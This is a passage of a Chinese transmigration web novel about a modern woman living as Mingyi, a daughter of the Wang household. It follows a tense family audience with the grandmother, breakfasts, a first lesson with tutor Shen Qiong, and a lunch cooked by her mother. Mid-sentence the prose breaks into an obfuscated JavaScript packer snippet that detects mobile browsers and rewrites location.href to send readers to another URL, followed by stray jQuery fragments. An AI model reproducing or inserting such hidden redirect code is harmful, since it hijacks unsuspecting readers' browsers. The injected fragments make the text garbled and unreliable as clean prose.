陈夫人穿着淡紫色灵芝纹刻丝褙子,朝袁老太太端正的行了个礼,便由婆子领着坐在了云纹罗汉床左边的圈椅上。一子两女并排跪在蒲团上,恭恭敬敬的给祖母磕头,袁老太太笑眯眯地看着座下的孙子孙女,挥手让丫鬟婆子将人带到左下首的方凳上坐好。 王同光携着顾静翕向母亲请安,袁老太太收起刚刚慈爱的面容,神色淡淡的“嗯”了一声,就让人去旁边坐下。明夷低着头,有些紧张的跟在父母后头,自然就忽视了老太太方才的表情变化,只是见人走了就赶紧上前跪在中间的蒲团上,学着方才几个姊妹的姿势给祖母磕头。 袁老太太看见底下孙女歪歪扭扭的跪姿,不满地皱了皱眉,刚想说点什么突然想起明夷前阵子的遭遇,顿了顿,最终只说了句:“回去好好学学规矩。”便让丫鬟将人扶下去。 明夷刚刚在那低头跪了好一会都没听见祖母发话,以前看的宅斗文瞬间涌上脑袋开始各种排列组合,她早知祖母不喜二房,以为自己要莫名其妙领上个罚跪的剧本,结果——竟是跪的不好看?!明夷无语,明夷冤枉,拜托,她身为一个现代人,熟练下跪才是奇怪的事情吧。 女孩起来的时候悄悄抬头,看见父亲无奈、母亲关切的目光,微微抿了抿嘴角,跟着麦冬坐在了二小姐王堇妤的左边。袁老太太坐在罗汉床上将女孩刚刚的举动尽收眼底,心底更是不悦。 接着,三房王同宁和夫人桑氏走上前行礼,袁老太太看着平常最喜欢的小儿子,今日竟然破天荒的没说什么,绷着一张脸就让人退下了,连带着后面请安的二子一女也没得到什么好脸色。 明夷啧啧称奇,坐在下首暗暗观察,陈夫人一脸迷茫,显然在状况外,自己的父母面色有些惊讶,似乎知道些什么,三叔父眉宇阴沉,三叔母脸色苍白,对面三房的一对龙凤胎,十岁的王贞妤面色不忿,十岁的王正亨作思考状,至于三房芝姨娘的儿子王齐亨——两岁的奶娃娃被婆子抱在怀里,略过略过。 见人已齐齐坐下,袁老太太端起青花三羊纹盖碗茶轻抿了一口,手腕一用力,又将其搁在小几上。茶杯落桌的声音不大,但在安静的屋子里却显得各位明显,明夷和右边的王堇妤不由自主得挺直了腰杆,将手放在膝盖上摆好。 “今日大家难得聚在一起,我刚好也有些话想说说。”袁老太太缓缓开口 “自你们各自成家,也有了下一代,最大的维哥儿不日也要娶亲。而你们的父亲辞官后就跑到山上去做道士,家里一应事物统统丢了下来。我操持家中事务数十年,虽现在得几个媳妇扶持,但也有点乏了,我就想着,左右我也没几年活头了,儿孙自有儿孙福,很多事情也不想管,但是——” 老太太拉长了声调,带有威慑力的眼神环视四周,尤其在右侧三房处停了一下,又慢慢开口道:“从古至今,不知多少家族兴衰早早就告诉了后人,家宅不宁,就是一个家族衰败的前兆!我和你们的父亲愧对列祖列宗,没有让王氏在你们这代发扬光大,但也绝对不允许在我眼皮子底下发生什么互相争斗的事情!” 袁老太太拍了拍桌子,手上的翡翠扳指在黄花梨木的小几上撞出清脆的响声,底下一圈的夫人老爷,少爷小姐统统噤声,三夫人桑氏面色又白了几分,肩膀抖了两下似是想站起来分辩,老太太预知般地剜了她一眼,人缩着肩膀又坐了回去,王同宁别过头去不看妻子,底下的王正亨看着母亲眉头紧锁,王贞妤看看哥哥又看看母亲,神色越发茫然。 顾夫人讽刺的勾了勾嘴角,王同光拍了拍妻子的肩膀,像是早有预料。 明夷悄悄看着上首一行人各异的神态,心里隐隐有些猜测。 见事情说完,也起到了想要的效果,袁老太太满意的敲了敲桌子,下头立马出来几个端着茶水的丫鬟,依次给众人看茶。 明夷细细观察着王二小姐喝茶的姿势,正准备依葫芦画瓢,然后发现这位二小姐正在瞟旁边的大姐姐——穿着柿子红撒金纹荔色滚边袄,举手投足优雅非常的王大小姐,王令妤。 好嘛,以为自己是假大师学真大师,原来是假大师学半假大师学真大师,敢情得了个三手货。亏这小姑娘刚刚还笑她,虽然声音很小,但明夷发誓自己耳聪目明,绝对没听错。 看着底下安静喝茶的众人,袁老太太一改刚刚严肃之情,换上副和蔼脸面,道:“再有一个月就是我六十岁的生辰,本来我这年纪多过一次生就少活一年,并不想办什么酒席,还麻烦操劳大家。只是我们王家在这临安城也算是有头有脸的人家,不办恐遭人笑话,再说——” 袁老太太看了一眼下座的红衣少女,笑道:“咱们令姐儿也满十六了,该挑一个好夫婿了,趁这次机会多请些好人家来,给我们的大小姐好好相看相看。” 王令妤闻言满脸通红,娇声道:“祖母就知道打趣孙女,婚姻大事,父母之命媒妁之言,令妤但凭长辈做主。” 陈夫人听到要给女儿选婿,方才迷茫的眼神一下子迸出了精光,笑眯眯地说道:“能得母亲这么惦记,是咱们令姐儿的福气!这事我和老爷也商量过,他也给我写了几户人家,正准备拿给母亲看呢。” 提起大儿子,老太太一脸骄傲,“同简的眼光总是好的,也难为他公务繁忙还惦记着我们令姐儿,我王府的大小姐最是个有福气的。” 右手边的桑夫人赶忙附和:“那是,令姐儿品貌可是一等一的好,又得母亲和大哥如此疼爱,定是要给咱家结个天上有地上无的好女婿!” 袁老太太瞟了一眼小儿子,朝着桑氏笑道:“就你惯会讨巧,伶牙俐齿的,看看把咱们令姐儿说得羞成啥样了。” 周边又是传来几阵笑声,王令妤在大人的打趣中,小脸红的快跟身上的袄子一个色了,眼神却是兴奋不已,看来是已经跃跃欲试了。 十三岁的王堇妤小朋友听到姐姐要挑夫婿了,一脸兴奋的往姐姐旁边凑,结果姐姐兀自害羞没空搭理她,又缩了回来,转头看向了明夷,期期艾艾的想说些什么。 明夷正一脸兴奋的吃着瓜,冷不丁被旁边穿着豆绿色圆点撒花袄的小姑娘扯了扯袖子,一脸疑惑地看过去 “嗯?” 王二小姐瞧见三妹妹这傻样,嫌弃地瘪了瘪嘴,觉得自己很有义务和她分析现在的军情——正要开口了,突然看见明夷表情怪异,疑惑转身,原来是自己的大姐姐害羞完了,正瞪着大眼睛看她呢。 王堇妤瞬间放弃了扒拉明夷的想法,灰溜溜的坐好,心里叫苦不迭,等会回去了又要被姐姐说没规矩了。 瞧着时间差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302863|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,袁老太太朝旁边的孙嬷嬷使了个眼色,嬷嬷立刻朗声道:“各位老爷夫人、少爷小姐,早膳已经摆好,烦请各位移步吧。” 正厅里摆了一张八仙桌,供六位大人用膳,又在旁边的暖阁里摆了一桌,转供这些哥儿姐儿。 明夷坐在圆凳上,左手边是王二姑娘堇妤,右手边是王四姑娘贞妤,对面是王大姑娘令妤,诶嘿,一桌三个妤,就她一个夷,这是咋回事? 昨晚没吃,今早又坐了一早上,明夷早就饿得前胸贴后背,手在桌子底下抓着裙子兴冲冲地看着丫鬟们往桌上一碟一碟的上菜。 只见穿着竹叶纹比甲的丫鬟捧来了一个掐丝珐琅暖盅,揭开一看,里头盛的是蟹肉灌汤饺。薄如蝉翼的面皮颤巍巍裹着混着蟹黄的汤汁,麦冬瞧见自家小姐一脸馋样,赶忙给人盛了一碗,明夷举起银匙戳破面皮,金汤一下子泄在霁蓝釉碗底,像是泼洒的朝阳。 令妤大姐姐的碗里盛着八宝素粥,百合莲子浮在杏酪熬的粥汤里,又自己添了一勺玫瑰卤子,一边搅合,一边说道:“这云州产的糖渍洛神花配粥滋味好极了,大家都快尝尝。” 腕间的虾须镯随着她的动作叮当响着,举手投足间有一种说不出的漂亮流畅,给明夷眼睛都看直了,暗暗感叹,果然是大姐,这姿势,这仪态,吾辈楷模! 不过——这甜卤配粥的品味,恕她不敢苟同,绝对不允许这样的甜咸搭配!当然,叉烧除外,叉烧好吃。 “哥,你快尝尝这个!” 四妹妹贞妤将缠枝纹攒盒推到三少爷王正亨面前,里头卧着十二枚玲珑水晶饺。透亮的面皮里裹着翡翠虾仁,旁边的丫鬟适时说道:“这是昨儿庄子里新贡的河虾。” 明夷一听,来了兴趣,眼巴巴的等着正亨小朋友夹完给她推过来。 王正亨低头给自己和妹妹各夹了个虾饺,瞥间贞妤见底的碗,又吩咐丫鬟再给妹妹添一碗雪菜鸡米粥,抬头正好撞见明夷渴望的眼神,再看看面前的事物,瞬间明了,伸手将攒盒推到了明夷面前,抿着嘴道:“三姐姐快尝尝,这虾饺味道甚好。” 二小姐堇妤有一下没一下地戳着碗里的松瓤鹅油卷,将层层叠叠的酥皮碎弄的碗里到处都是,小姑娘像是没看见似的,只是好奇的说道:“大姐姐,母亲他们要给你挑夫婿,你喜欢什么样的?” 此话一出,全桌瞬间安静下来,二少爷王元亨一脸无语的看着自己二姐姐的傻样,耳朵却竖的高高的;王正亨表情尴尬,埋头喝粥,只是这勺子就是不进嘴。贞妤、堇妤齐刷刷睁着亮亮的眼睛望着大姐姐,明夷左看看右看看,也跟着做那第三道‘探测灯’,摇头晃脑的感慨,果然,无论年龄大小,吃瓜都是刻在骨子里的本能。 王令妤被妹妹问的耳朵红了红,一脸正色道:“这怎能我来说,父母之命媒妁之言——” “得了吧。”堇妤不耐烦的揭自家姐姐的短,“爹娘祖母都不在这,你就和我们说点子掏心窝子话吧。” 令妤有些愠怒地看了眼自家妹妹,深呼吸告诉自己,莫生气,这是一个娘胎里爬出来的,但三月的春花开得灿烂,正如这藏不住的少女心事般,面如桃花的王大小姐有些羞涩的说道:“我希望他能长得俊俏,文采斐然,且能爱护我……” 外头服侍的孙嬷嬷遣人送了几碗芙蓉奶羹进来,说是老太太特意嘱咐人做的,牛乳凝成的雪浪间缀着糖渍桃花瓣,像极了少女面颊的绯红。 15. 上学倒计时 明夷自穿越以来,先是病恹恹的躺床板,好些后又孤零零的逛园子,最后又乐呵呵的走人户,算起来,今早还是她第一次正式的和这一大家子打照面。 虽然请安时小有不快,但明夷觉得这并不关她事,祖母不喜二房又不是一天两天了,日子不照样该过过?至于今早那一番训话,定是三房挑破离间的事情被老太太发现。虽然人是偏心,但主掌握中馈多年,将这一大家子管理的井井有条,轻重缓急还是分得清的,虽然也不多——毕竟也没当面指认三房,话里话外的意思不就是这事今天之后就此翻篇。 女孩又忍不住揣测,没准这老太太面上疼爱大房三房,其实最爱的还是自己,不然又如何解释,看着那么精明一个人,前面陈夫人在那哐哐闹腾,二房倒了一大半时不站出来说什么家族和气,偏要等二房冤枉、三房陷害实锤时才跳出来轻描淡写训斥两句?左右不过是觉得三房在她眼皮子底下挑事就算了,手段还拙劣,触犯到她的权威了。 想到这,明夷美滋滋的给自己点了个赞,觉得自己实在大有长进,就冲这一通观察和分析,看谁再说她穿进《××传》里活不过一集! 再说方才吃饭,壳子里住着二十三岁灵魂的明夷不负责任的评价道,大姑娘王令妤端庄秀美,一看就是个有主意的。二姑娘王堇妤牙尖嘴利,像是个喜欢惹事的。一同落水的王元亨,嗯…这孩子有点阴沉,可能是被上头几个哥哥姐姐压的。至于三房的龙凤胎,兄妹俩感情很不错,不过可能在娘胎时脑子都长给哥哥了,王正亨虽然年纪不大,但聪明心计一样不缺,王贞亨小姑娘的话,就看起来脑袋少根筋,和堇妤一样,俩都咋咋呼呼的。 所以,如此看来,这一大家人,倒比想象中要好一些?亦或她看得太浅? 明夷懒懒地倚趴在房间里的花几上,将手背垂放在一缕穿窗而过的阳光里晾晒,鼻尖嗅到一股似有若无的花香,起身推开冰裂纹格窗,正巧对上一从玫红色的春杜鹃。 走时还是一片深深的绿叶子,不过半月光景,就开得如此烂漫。女孩兴冲冲的掀开卧室的帘子,跑到了自己的小院里,惊喜的发现不止是杜鹃,小水池边的紫阳花玉团似的挤在一块,蓝的粉的紫的都有,开得闹哄哄的;另一边的凉亭处,西府海棠和樱花瀑布似的往下垂,碧天晴日暖如烘,小院花开烂漫红,明夷快乐的徜徉在春日之中,将心中思虑一股脑抛在醉人的风中。 适时,小院的木门传来叩击声,不等麦冬从屋里翩翩过来,近水楼台的明夷一把拉开,门外赫然站着一个穿着白底撒朱红小碎花长身褙子的侍女,正是顾夫人身边的冬青。 冬青朝女孩福了福身,说道:“三小姐,老爷夫人请您移步不系园。” 明夷了然,看来是他们大人说完话了。 不系园内,顾静翕与王同光坐在正室的罗汉床上,聊着方才在瑞鹤堂的事。 一身丁香色仙鹤纹刻丝褙子的顾夫人揉揉自己酸痛的脖颈,长长吐了一口气,叹道:“这饭吃的真不舒服,又是听训又是赔笑,还要和不喜欢的坐一桌。” 王二郎也面露无奈,“那小厮的事还是母亲吩咐人与我的人一起查的,我以为她这回不说是罚,总该责备三弟他们几句,结果又是这么高高拿起,轻轻放下。” “哼,我早就料到了,不过也罢,我现在只想好好看顾我明儿,他们最好不要再把注意打在我女儿身上,不然我非和他们撕个你死我活!”顾夫人紧紧握住边上的把手,涂着蔻丹的指甲掐进手心里,留下几个弯月印子。 王二郎有些愧疚地看着自己的妻子,道:“还有我呢,无论什么事都有我先顶上,你——” “娘!爹!”女孩清脆的声音从门外传来,夫妻俩愣了一下相视一笑,方才的沉闷一扫而空,转眼就瞧见屋里跳进来一个蓝盈盈的身影。 服侍的丫鬟搬了张玫瑰椅摆在罗汉床旁边,明夷轻巧地坐下,仰着小脸问:“父亲母亲叫明儿过来是有什么事吗?” 王同光挑了挑眉:“哦?难道无事就不能叫你了吗?万一我就是喜欢看你多跑两趟路呢?” 明夷撇了撇嘴:“爹爹你也真是的,那么大人了还在这里逗小孩,幼稚。” 王同光哈哈大笑,顾夫人无奈的看着这父女俩,细声问道:“明儿刚刚和姊妹们吃饭可还融洽?” 女孩点点头,朗朗道:“大家都很好,大姐姐给我们推荐了玫瑰卤子的新吃法,三弟弟还将我想吃的虾饺推给了我,祖母房里的早膳也精致好吃,特别是最后那碗芙蓉奶羹,我吃得干干净净!” “喜欢的话下次再让厨房给你做就成,你们这一辈的哥儿姐儿,虽然都养在府里,但都是关起门来各管各家,算不上多熟悉。不过刚刚你们祖母发话了,说是以后让你们几个孩子都在一块读书,元哥儿和正哥儿日日要去上族里的私塾,打算专为你们几个姐儿请一位塾师和一位嬷嬷回来教导。” 看着女儿瞬间垮下去的小脸,王同光又接口说道:“嬷嬷你们祖母已经托人物色好了,我也拜托我读书时的朋友请了一位女塾师,介时可要好好学习,莫给爹娘丢脸。” 瞧着女儿焉嗒嗒的脑袋瓜,顾夫人劝慰道:“爹娘并不求你学得多好给我们争光,只是你不可能一辈子待在家中,待在我们身边,但凡出门做客,参加宴会,还有你以后去到婆家,主掌中馈,掌握该会的东西,才能让自己活得更轻松。” 讲到这妇人似有感伤:“咱们女子在这世上本就不易,需得一直战战兢兢,免得让人挑出过错。无论是诗书还是规矩,你都必须好好学习,等你越长越大就会慢慢明白,规矩礼仪让人敬你重你,诗文字词却是你为自己开辟的一片桃花源,无论前者后者,皆不可缺。” 明夷乍一听有些懵懂,但也抓住了重点,反正就是要好好学嘛,她做了十几年学生这还不容易?而且她高中学文,本科四年也是接受了古文训练的,什么《史记》《春秋》《孟子》《诗经》都多多少少看过一些,幼年在少年宫也练了一手‘柳体’,爹娘就等着她大杀四方就好。 看见女儿认真的点点头,夫妻俩爱怜的笑了笑,又问道:“明儿还有什么不明白的想问我们吗?” 明夷想了 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“没错,就是周易,所以当时我就希望,我们的孩子也要从周易中取名,可惜家里的字辈并不满足,所以我就擅自抛了‘妤’字,给你取了明夷,希望你坚忍又智慧,站在光明之下但又不畏惧黑暗。” “那祖父祖母会不会不开心?”女孩有些疑惑,字辈这玩意在古代重要吗? 王同光摸了摸女儿的小脑袋瓜,笑嘻嘻道:“你祖母非常生气,但你祖父却是支持我的。不过这些都不重要,我的女儿,我想取什么名字就取什么名字。” 明夷看着父亲这幅无所谓的样子,暗道,这么任性,你们母子关系不好也是有迹可循啊。 达到想要的目的,了却一桩心事,明夷轻松道:“父亲母亲可要去我院里看花?开得可好了!” 顾夫人摇摇头,“我和你父亲还要商量你祖母寿宴和给你们请先生的事,改日再去你的小院好吗?”像是想到什么,顿了顿,又继续道:“明儿就不疑惑为什么你院里那么多春花,却要叫宜秋院?” 明夷一听,是欸,为什么? 看着女儿疑惑的表情,顾夫人道:“你这院子原先种的都是菊花,还有一株梧桐树,所以叫宜秋,但后面分给你后,我和你爹觉得菊花对小女孩来说不太合适,所以就换了些春夏花朵进去,至于名字为什么没改,我们想着你的住处还是让你自己来拟。” 明夷点点头,又摇头,道:“宜秋就很好,前人诗云‘蘸笔当窗风乍起,一天行色正宜秋’,女儿很是喜欢。” 女孩念起诗来调子跟唱歌似的,王同光惊喜地看向妻子,后者也回以同样惊喜的眼神,开心道:“好好好,宜秋好,宜秋好啊!” 明夷看着父母骄傲的面容,内心不乏得意,我只要略施雕虫小技,就能让你们喜出望外。 俗话说得好,熟读唐诗三百首,不会作诗也会吟,作为一个古典诗词爱好者,唐诗宋词元曲,各类诗集她还是读了不少的,想到这,她觉得自己内心隐隐有些兴奋,像是等不及要在课堂上,在众姊妹前大显身手了。 16. 姐妹上学堂 晨光初透,湘妃竹帘上跳跃着鸟雀的光影,王府的花厅里,四张红木书案围成半圆,从窗棂漏进的风拂动茜纱帐,扰得铜雀香炉吐出的沉水香都散了几分。 明夷卯时便被麦冬叫醒,睡眼惺忪的被拉着一通收拾打扮后,在自己小院里囫囵吃了点东西,便被领去了花厅。 几个姊妹也一幅刚来的样子,除了最大的王令妤正规规矩矩的翻着案上的书,剩下的几个小姑娘——王堇妤正撑着脑袋低头‘钓鱼’,王贞妤已经整个人趴在书案上了,眼下塾师还未至,明夷放心的点点头,将脑袋叠在胳膊上,不一会就没了知觉。 “先生来了!” 不知是谁喊了一声,堇妤脑袋猛地往下一坠,整个人瞬间清醒。贞妤从绣墩上跳起,石榴颜色的裙裾扫翻了青瓷笔洗,小姑娘慌慌张张的去捞滚落的紫竹笔,额头却撞上楠木案角,顿时捂着发红的印子瘪起嘴来。 明夷泰然自若的整理着桌上的纸笔,听着耳边的动静默默摇头,俩小姑娘还是经验太少,这种事情主要靠熟能生巧,睡多了的都知道。 沈琼跨过门槛时看到的便是这番动静不小的场景,揉脖子的,摸脑门的,安静看书的,还有装模作样整理书案的。 她将怀中的书本轻轻搁在琴桌上,青玉压襟撞击木案发出轻响,道:“《女诫》有云‘清闲贞静,守节整齐’,四姑娘可知何解?” “回先生的话,就是不许笑不许闹。”王贞妤揉着额角嘟囔,“可是哥哥说孙先生讲三十六计时,将士们都是要拍案叫好的呀。” 一番话引得旁边的明夷轻笑出声,沈琼平静的目光看了过来,又问:“《女诫》还云‘行己有耻,动静有法’,三姑娘可知何解?” 明夷愣了愣,心里暗道不好,刚刚没忍住,触犯了课堂点名时的大忌,她哪里读过劳什子女诫,何解?嗯…应该是翻译…… 女孩抬头看向先生,犹豫道:“回先生的话,可是举止言行都要有规矩,要有羞耻心?” 沈琼微微颔首,“三姑娘明白。” “我想各位夫人应该已经和小姐们说了,我姓沈,单名一个琼字,是你们的塾师。” 下头四位姑娘齐刷刷起身行礼,恭敬的道了声:“沈先生安。”便正式开始今日的教习。 明夷翻着书偷偷观察着这位沈先生,月白暗纱质的立领长衫隐隐浮着流云暗纹,外罩天青翔鹤纹的比甲,底下露出一小截银线绣菊纹裙边。梳着三绺头,两边戴着素银掩鬓,左边簪了朵小儿拳头大小的青荷绒花,面容沉静,气质儒雅,端坐案前让人想起插在细口青瓷花瓶里的白玉兰。 母亲昨晚告知过这位老师的经历,北方士族出生,才思敏捷,后嫁与家族世交之子,但夫家因为政治迫害家道中落,她便出来做塾师,行走各处,见识远博,尤其诗画双绝,引人称赞。 这次能将她请来,还是因为她的哥哥是明夷父亲读书时的好友,顾夫人刻意叮嘱,这位沈先生素有才名,得她教导的学生均是受益匪浅,一定要跟着好好学习。 花厅内湘妃竹帘半卷,王家四位姑娘齐整端坐,素绢封面的《毛诗郑笺》静静摆在在案头,沈先生执起戒尺轻点《郑风》篇,沉水香随着动作在青瓷笔山间缭绕。 “今日讲《子衿》。” 先生话音方落,王贞妤便晃着双螺髻嚷道:“先生先生!这诗里的姑娘为何总在城楼晃悠?” 王堇妤用黛笔戳了戳砚台:“四妹妹真蠢,这是比喻思念……”感受到旁边大姐逼人的视线,二姑娘自觉失言,低下脑袋将剩下半句给咽了回去。 “问得好。”沈先生像是没听到方才的插曲,兀自用戒尺挑开书页,“《礼记》有云‘女子出门必拥蔽其面’,然诗中郑女敢登城阙望情郎——” 戒尺突然停在“纵我不往”四字,又慢慢说道:“可见情思之诚,足破礼法之桎梏。” 明夷突然想到那日吃拔霞供时,李青棠和母亲她们对《牡丹亭》的点评,举手道:“学生读《关雎》时,众人皆说是颂后妃之德,但方才听先生所言郑女之情思,不禁想起杜丽娘评《关雎》时说‘圣人之情,尽见于此矣’,所以学生可否理解为情字本来就在这《诗经》当中,我们无须避讳?” 还未等先生开口,王令妤满脸疑惑地看了过来,发间白玉步摇轻颤,正要开口时突然想起什么,连忙转头向先生示意,得到同意后才开口道:“可《女诫》说‘清静自守,无好戏笑。’女子不是应该时时约束自己,保持端庄贞静的姿态吗?” 王堇妤闻言偷偷朝窗外翻了个白眼,她这位大姐姐,外人面前端庄娴淑,讲起道理来头头是道,私底下也不知是谁拿《牡丹亭》夹绣样,枕头底下放《西厢》。 “诸位且看注疏。”先生指尖抚过书页边缘的蝇头小楷,“汉儒解作‘刺学校废也,乱世则学校不修焉。’然泰和年间新出的《诗镜》却说——”她忽然抽出本蓝布封皮的书,示意女孩们围上来,“此乃天地至情,非礼所能囿。” 王令妤看着那行小字,似有所思,忽然轻声问:“若按《内训》所言,女子擅思当如何?” 她案上《列女传》的书角已卷得发毛,却见先生将《诗镜》推到她面前,轻声道:“孝景皇后曾用朱砂在此处批注——‘思无邪,心自正’。” 此话一出,王家四位姑娘神色各异,大姑娘王令妤依旧皱着眉头不知在想些什么;二姑娘王堇妤手指不自觉的轻点案边,似是有些惊讶;三姑娘王明夷睁着大眼睛,脑袋轻轻点了好几下;四姑娘王贞妤捧着小脸,表情有些懵懂。 沈先生垂眼扫视了一番几个姑娘,挥手让人都回到自己位置上坐好,“今日功课。将‘一日不见,如三月兮。’改写成四言诗,需合《女范》格式,时间一炷香。” 《女范》?明夷顿时傻眼,这是什么东西,她听都没听过,天王菩萨啊,昨天还夸夸其谈,想着要大显身手,结果今日一个课堂练习就让她哐哐打脸。 这《女范》听着和《女诫》很像,大概率是女教丛书,要符合它的格式,可能是内容得体现女教的思想,古代的妇女 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见先生过来,二姑娘慢悠悠展开宣纸,上面写着:“晨妆理鬓,暮香祷祝。三昼不见,惶惑踟蹰。”又故作天真道:“先生看这‘惑’字可对?《女诫》云‘不必辩口利辞也’,学生愚钝得很。” 沈琼淡淡道:“二姑娘口齿伶俐,方才所讲既已明了,就不必多问。”说着又往后朝明夷处走去。 明夷看见先生过来有些紧张,下意识拿手去遮,奈何丑媳妇总得见公婆,女孩怯生生的将纸展平,双手垂放两膝,低头等待审阅。 沈琼拿起女孩的诗笺,只见上面写着:“晨诵诗文,暮赏新月。一日不循,惶惶如岁。” 先生点了点头,“倒是合乎规矩,只是还需多加练习。不过——”沈琼话音一转,明夷的心也跟着提了起来,“你字很好,用笔干净利落,棱角分明,筋骨开张,可是练的柳体?” 明夷心下松了口气,点点头:“学生自练字起就学的柳少师,《玄秘塔碑》《金刚塔碑》《神策军碑》等都都是从小练的。” 沈琼放下女孩的诗笺,点点头还想继续说些什么,右边的王贞妤见先生迟迟不来自己这,举着宣纸蹦起来道:“都来看看我的!” 众人被吸引过来,探头一瞧,雪白的纸上歪扭的写着“一日不食,饿如三秋。”旁边还画了只啃月饼的兔子。 王堇妤见状噗嗤一声,扶着大姐的胳膊笑得腰都直不起来,后者一边让妹妹扶着,一边捏着帕子掩在嘴角,肩膀不住颤抖。 沈琼也是勾起了嘴角,笑道:“四姑娘解得妙,《内则》确有‘女子过午不食’之训。” “但规矩是死的,人是活的,四妹妹正是长身体的时候,可千万别把自己饿坏了。”堇妤扶着腰娇笑着打趣道,贞妤摸摸肚子,正色道:“二姐姐说的对,我早上吃得少,感觉现在就有些饿了呢。” 话音未落,花厅内又是一阵新的笑声,明夷瞧见大姐姐的耳坠子晃得厉害,就连沈先生也笑得鬓边的荷花微颤。 厅外侍奉的丫鬟们好奇地对视几眼,均是满脸疑惑。不过时辰也差不多了,各位小姐们也该用午膳了。 17. 向着风吹的方向倒 下学后,明夷一出门就看见早已等候多时的麦冬,小手一挥,拒绝了麦冬准备提供帮助的双手,自己提着装有笔墨纸砚书本子的竹篮子,急匆匆往不系园赶,她快饿死了! 绕过抄手游廊,菱花隔扇筛进满地细碎的春光,明夷还未进门,就听见母亲在房里吩咐:“那道芙蓉奶羹时间到了吗?先煨着,等会吃得差不多了再端上来。” 女孩拨开珠帘,将手中的篮子往桌上一放,飞扑到母亲身上,开心道:“娘亲我下课啦,肚子好饿好饿,咱们今天吃什么?” 顾夫人笑着刮了刮女儿的鼻子,道:“瞧你这馋样,不知道的还以为你三天没吃饭了呢。” 明夷摇头晃脑道:“非也非也,今个四妹妹说‘一日不食,饿如三秋’,我这应是‘一顿未食,饿如一秋’。” 顾夫人笑得前仰后合,直呼嗳唷,对着旁边的冬青笑道:“你看看,你看看,这才上半日学就如此伶牙俐齿,以后谁还说的过她。” “小姐聪明伶俐,无论谁见到了都会喜欢的。”冬青一边笑着一边指挥下人将午膳摆好,“夫人小姐这边就坐吧。” 八仙桌上青花瓷碗腾着热气,细细的虾子面浇着诱人的三虾浇头,顾夫人将整碟五味杏酪鹅推到女儿面前,又让人盛了两碗莼菜鲈鱼羹。 银匙轻轻拨动莼羹里的火腿丝,顾夫人悠悠道:“这莼菜可是你爹爹专门托人从西湖捎来的,说是长在苏堤望山桥下的背阴处,滋味比别的更加鲜美,明儿尝尝味道与之前的可有不同?” 明夷低头尝了一口,嗯…感觉无甚特别,再尝一大口,结果依旧,疑惑道:“女儿觉得没甚区别,爹爹可不是招人诓了?” 顾夫人笑骂道:“你这小丫头,还敢在背后编排起你爹爹来了,行了行了,再尝尝这道笋蕨馄饨吧。” 只见钧窑天蓝釉钵式碗里挤囊囊的飘着数个元宝型的馄饨,春笋和蕨菜混制的馅料不知加了什么佐料,一口咬下,又香又脆,明夷忍不住连吃了好几个,大呼:“这个好吃!” “好吃也不要紧着吃那一道,再尝尝这个。”顾夫人夹了一筷子菌子到明夷的饭碗里,道:“这道翠竹仙菌烩用的是山间翠竹之笋,还有竹荪、牛肝菌、羊肚菌等多种菌子,用鸡汤吊着,然后加入少许米酒提香,慢火细烩制而成。” 明夷一尝,菌香与笋香交织缠绵,的确清新爽口,滋味非凡,只是…女孩眼珠子一转,朗声道:“母亲怎知道的那么清楚,这道菜莫不是您做的?” 顾夫人得意一笑:“可不止这道菜,今天这一桌都是我亲自做的,专为我明儿接风洗尘,觉得为娘的手艺如何?” 明夷大惊,放下筷子连连称好,穷尽毕生所学将人夸得天上有地上无,眼见女儿小嘴不停,还有要喋喋不休的夸下去的架势,顾夫人连忙打断,换了个话题道:“明儿今日上课感觉如何?先生教了些什么?” 明夷心里一哂,果然来了,家长必问话术之学习心得体会,有道是先抑后扬,女孩细声细气道:“今日教的《子衿》,还让我们作了诗。先生教的很好,不过我诗作的很一般,不及两位姐姐。” 顾夫人抚了抚女孩柔软的头发,安慰道:“你两位姐姐比你大些,之前随你大伯父外放做官时也是请了好几位先生的,好是自然,明儿不必在意。” 说完又叹道:“也怪爹和娘之前疏于对你的教导,本是念着你还小不愿增添你负担——” “我觉得很好啊,今日先生夸我字好,这还得多亏了爹爹和娘亲抓着我练字。”明夷最怕听到母亲说些觉得自己过往薄待她的话,虽然爱是常觉亏欠,但她这壳子早已换了芯,那些话她听着受之有愧。 而且——天知道明夷在房里发现原主之前的字帖时有多开心,两人练的都是柳体,她可以放心的写字。不然,单是落个水,不但记忆没了,字迹也换了,很难让人不多想,装不会?士族小姐十二岁不会写字,怕是更让人怀疑。 “娘亲,我发现沈先生今日课上讲的一些话,和你们谈《牡丹亭》那日很像。” “哦?先生讲了什么?”顾夫人很快被女儿转移了目光。 “先生说郑女是‘天地至情,非礼所能囿’,大姐姐还问女子擅思当如何,先生说‘思无邪,心自正’。娘亲,这好像和书上说的不一样。”明夷眨眨眼睛,做疑惑状。 顾夫人微微勾起嘴角,轻轻重复着沈先生的话,又问明夷:“那明儿喜欢沈先生说的这些吗?” 明夷皱了皱眉,似乎是在思考,慢声慢气道:“女儿不知,但是如果按照沈先生所说的做,女儿就可以很直接的表达自己的喜恶,不用假装和掩饰,像个假人一样绷着脸,我觉得这么做会比《女诫》《女范》教的让我开心。可是这些女教是所有人都让学的东西,而且娘亲不也说了,女子必须时刻约束自己的言行,不然会遭至灾祸……” 顾夫人食指轻点桌面,“可是明夷也要知道,人不是死物,如果真按照书上所说的,不就成了木头了吗,这样活一世又有什么意思?规矩是规矩,道理是道理,我们可以遵守,但没必要打心底认同,就算是再厉害的礼法,也无法控制我们的心。先是不认,继而是不做,只要——”顾夫人微微勾起嘴角,“不被发现就成。” “娘亲想告诉你的是,并不是书上说的都是对的,也不是大家都说好的东西就是好的,规矩死死的摆在那里,但多的是空隙可钻。”说到这顾夫人俏皮的眨了眨眼 “你想想,像咱家,现在是谁当家,谁掌财?” “祖母?” “你淑姨家呢?” “淑姨?” 